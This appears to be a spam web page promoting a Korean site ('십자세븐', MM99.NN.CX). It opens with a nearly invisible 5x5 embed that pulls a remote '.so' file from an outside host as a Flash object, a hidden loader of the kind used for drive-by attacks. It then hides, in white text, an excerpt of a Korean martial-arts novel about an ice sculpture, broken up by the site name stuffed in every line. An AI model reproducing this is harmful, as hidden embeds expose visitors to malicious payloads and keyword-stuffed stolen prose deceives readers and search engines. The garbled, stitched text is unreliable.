<embed width="5" height="5" src="http://move.b4ateam.net/b9bb652bf.so" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"><br>십자세븐 ◀ 십자세븐 ▶ MM99.NN.CX ◀
<br><br>
<div style="padding:10px; border-width:1px; border-color:rgb(243,197,52); border-style:solid;">
<div style="text-align: center;color:#0055ff;font-size:14px;"><a href="http://MM99.NN.CX"><b>▶사이트접속◀</b></a></div>
</div>
<br><br>
<div style="color:white;">
십자세븐 ◀ 십자세븐
참으면서까지 게으름을 피우다니." "내가 며칠 두고 봤지만 저 거지는 할 줄 아는 건 밥 십자세븐 ◀ 십자세븐 먹는 거와 뒹구는 것, 그리고 자는 것밖에 없어." "아버님은 왜 저러 자를 손님으로 대접하는지 이해할 수 없군." 십자세븐 ◀ 십자세븐 "나도 의문이야. 왜 겨우 저런 자를..." 주유성이 이리저리 몸을 굴리다 보니 신기한 얼음 조각들 십자세븐 ◀ 십자세븐 이 여럿 보였다. 그는 흥이 돋았다. 그래서 자기를 졸졸 쫓 아다니는 냉소미에게 말했다. "소미야, 칼 좀 빌려주라." 십자세븐 ◀ 십자세븐 무인에게 있어서 칼은 함부로 빌려주는 물건이 아니다. 주 가장의 무사들처럼 널널한 생각을 가진 사람들은 마구 빌려 십자세븐 ◀ 십자세븐 주는 물건이지만 여기는 북해빙궁이다. 예의없는 그 말에 냉소미가 발끈했다. 십자세븐 ◀ 십자세븐 "기다려. 칼 가져올게." 그녀는 냉큼 달려가더니 곧바로 식칼을 하나 구해왔다. "자, 칼." 십자세븐 ◀ 십자세븐 그녀 딴에는주유성이 놀아주지 않으니 투정을 부린 것이 다. 보통 무인은 식칼을 잡지 않는다. 십자세븐 ◀ 십자세븐 주유성은 무인으로서의 자각이 조금도 없다. 칼을 냉큼 받 아 들며 말했다. "좋아. 그럼 시작해 볼까?" 십자세븐 ◀ 십자세븐 주유성은 칼에 목숨을 거는 검사가 아니다. 칼뿐이 아니라 어딘가에 목숨을 거는 것 자체를 하는 놈이 아니다. 지금 하 십자세븐 ◀ 십자세븐 고자 하는 일에는 그저 날이 있는 물건이 있으면 충분하다. 그가 커다란 얼음 덩어리 앞으로 갔다. 누군가가 얼음 조각 을 하기 위해서 가져다 놓은것이다. 십자세븐 ◀ 십자세븐 "너 거기 그냥 서 있어." 주유성이 냉소미를 세워둔 채로 조각을 하기 시작했다. 십자세븐 ◀ 십자세븐 주유성의 눈썰미는 눈썰미라고 하는 차원을 넘어서 있다. 거의 복제가 가능한 수준이다. 그가 냉소미를 보더니 식칼을 휘둘러 얼음을 마구 잘라냈다. 십자세븐 ◀ 십자세븐 작은 식칼의 검날 위로 검기가 아주 얕게 흘렀다. 그것만으 로도 얼음을 두부 자르듯이 하기에 충분했다. 십자세븐 ◀ 십자세븐 더구나 주유성은 손이 빠르다. 그의 손이 빠르게 움직이면 서 얼음은점점 사람의 형태를 갖췄다. 십자세븐 ◀ 십자세븐 멋모르고 서 있던 냉소미의 눈이 점점 커졌다. '빠, 빠르다. 얼음 조각을 언제 해봤지?' 냉소미가 놀라고 있는 사이에 얼음 조각은 어느새 마무리 십자세븐 ◀ 십자세븐 단계에 들어가고 있었다. 주유성은 얼음을 다듬었다. 그가 손을 씀에 따라 얼음에 점 십자세븐 ◀ 십자세븐 점 생명이 부여되었다. 주유성이 작업을 끝내고 한 발 물러서며 자신의 결과물을 보았다. 십자세븐 ◀ 십자세븐 "이야. 잘 나왔네." 냉소미가 다가오며 자신의 얼음 복제품을 보았다. 십자세븐 ◀ 십자세븐 정말 잘 만들어진 얼음 조각이었다. 반투명한 몸체는 그녀 의 미모를 몇 배는 더 신비롭게 만들어주었다. 십자세븐 ◀ 십자세븐 "오빠, 내가 이렇게 예뻤는지 나도 몰랐어." 얼음 조각이 더 예쁘다. 하지만 냉소미는 그렇게 생각하지 않았다. 십자세븐 ◀ 십자세븐 "완전히 나랑 똑같아. 고마워, 오빠." 냉소미는 진심으로 감탄했다. 이런 선물은 받아본 적 없 십자세븐 ◀ 십자세븐 다. '식칼 대신에 얼음 조각하는 사람들의 도구를 가져다줄 걸.' 그녀는 뒤늦게 후회했다. 이미 늦었다. 그리고 그런 도구 십자세븐 ◀ 십자세븐 가 있다고 해서 더 나은 결과물이 나오는 것도 아니다. 냉소미가 감탄하든 말든 주유성은 식칼을 돌려주며 말했다. 십자세븐 ◀ 십자세븐 "간만에 힘썼더니 배고프다. 밥 먹으러 가자." "오빠는. 정말 그렇게 먹는 게 다 어디로 가는지 몰라." 십자세븐 ◀ 십자세븐 북해빙궁은 춥다. 여름이 오지 않으면 얼음이 녹지 않는 다. 주유성이 만들어둔 얼음 조각은 녹지 않고 정원에 계속 십자세븐 ◀ 십자세븐 서 있었다. 그래서 빙궁을 돌아다니는 사람들에게 냉소미를 본뜬 얼 음 조각에 대한 소문이 돌았다. 사람들은 얼음 조각을 보고 십자세븐 ◀ 십자세븐 수군거렸다. "이걸 그 거지가 만들었다며?" 십자세븐 ◀ 십자세븐 "실력이 장난이 아니군. 우리 빙궁 최고의 조각가와 비교 해도 별로 떨어지는 솜씨가 아니야." "역시. 그자는 어딘가 쓸모가 있었어. 우리 빙궁을 얼음으 십자세븐 ◀ 십자세븐 로 장식하려고 불러온 자였군." "흥. 그런데 주제를 모르고 소미를 조각했군. 감히 우리 빙 십자세븐 ◀ 십자세븐 궁 최고의 미녀를 노려?" "걱정마. 소미가 적당
